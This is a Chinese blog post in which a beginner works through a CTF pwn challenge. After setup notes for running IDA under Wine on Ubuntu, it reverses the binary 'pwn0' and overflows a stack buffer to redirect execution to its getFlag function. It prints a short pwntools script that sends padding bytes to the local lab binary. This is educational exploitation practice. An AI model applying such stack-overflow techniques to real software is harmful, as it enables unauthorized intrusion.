继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

从ctf-all-in-one开始学习ctf之第四天:ctf基础加入门题

月关宝盒
关注TA
已关注
手记 232
粉丝 104
获赞 673

ubuntu16.04 添加wine 桌面图标

1。sudo apt-get install gnome-panel

2。sudo gnome-desktop-item-edit /usr/share/applications/ --create-new

3。在命令处输入 类似的 wine "/home/yzl/.wine/drive_c/Program Files/ida/ida.exe"。

4。进入/usr/share/applications,找到添加的图标,右键复制到桌面。

 

 

ctf第一个小实验

参考 :https://github.com/Hcamael/docker_lib/tree/master/pwn

实验代码 pwn0

binwalk pwn0 :

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
1746          0x6D2           Unix path: /home/pwn/pwn0/flag
 

打开idapro 32位,将pwn0拖入,可以看到三个函数,main foo 和getFlag

https://img1.mukewang.com/5b5bedd8000101a719201080.jpg

在main中a1被赋予12345678H,而在foo中判断a1是否等于61616161H,等于才会执行getFlag函数,也就是说正常情况下,永远得不到flag。

逆向解决思路:修改判断,执行getFlag函数,得到flag。方法较多,可以将判断条件反置,也可以将a1值修改,或者修改61616161H等。但在实际情况中却不成功,总会出现段错误(核心已转移),原因和解决方法未知。

pwn思路:覆盖ret值,将其改为getFlag返回地址0x0804855B,输入s的长度为1c。

或者由于a1是与61616161H做比较,可以疯狂传入a,覆盖原来的a值,但最后还是报错段错误(核心已转移)的错误

注入脚本如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
from pwn import *
from socket import *
from commands import *
 
#conn = remote('127.0.0.1', 32772)
conn = process("./pwn0")
pwn_elf = ELF('pwn0')
print conn.recvline()
payload = (32+4+4) * 'a'           # 0x1c长度的buf + 4 byte的ebp

conn.sendline(payload)
print conn.recv()
print conn.recv()

但执行报错,原因不明,正在调试。

 

段错误(核心已转移)的原因如下:

1、访问不存在的内存地址

2、访问系统保护的内存地址 

3、访问只读的内存地址

4、空指针废弃

5、堆栈溢出

6、内存越界(数组越界,变量类型不一致等)

可以通过dmesg命令获取断错误信息,或者gcc调试时加入-g指令,或者使用catchsegv

本程序通过ida单步进入调试,发现本机文件路径错误(没开docker,直接用的本地的pwn。),纠正之后,成功。

原文出处:https://blog.csdn.net/vaing_lory/article/details/81223349

打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP

热门评论

CTF不是应该用kali吗,你这是ubuntu吧

查看全部评论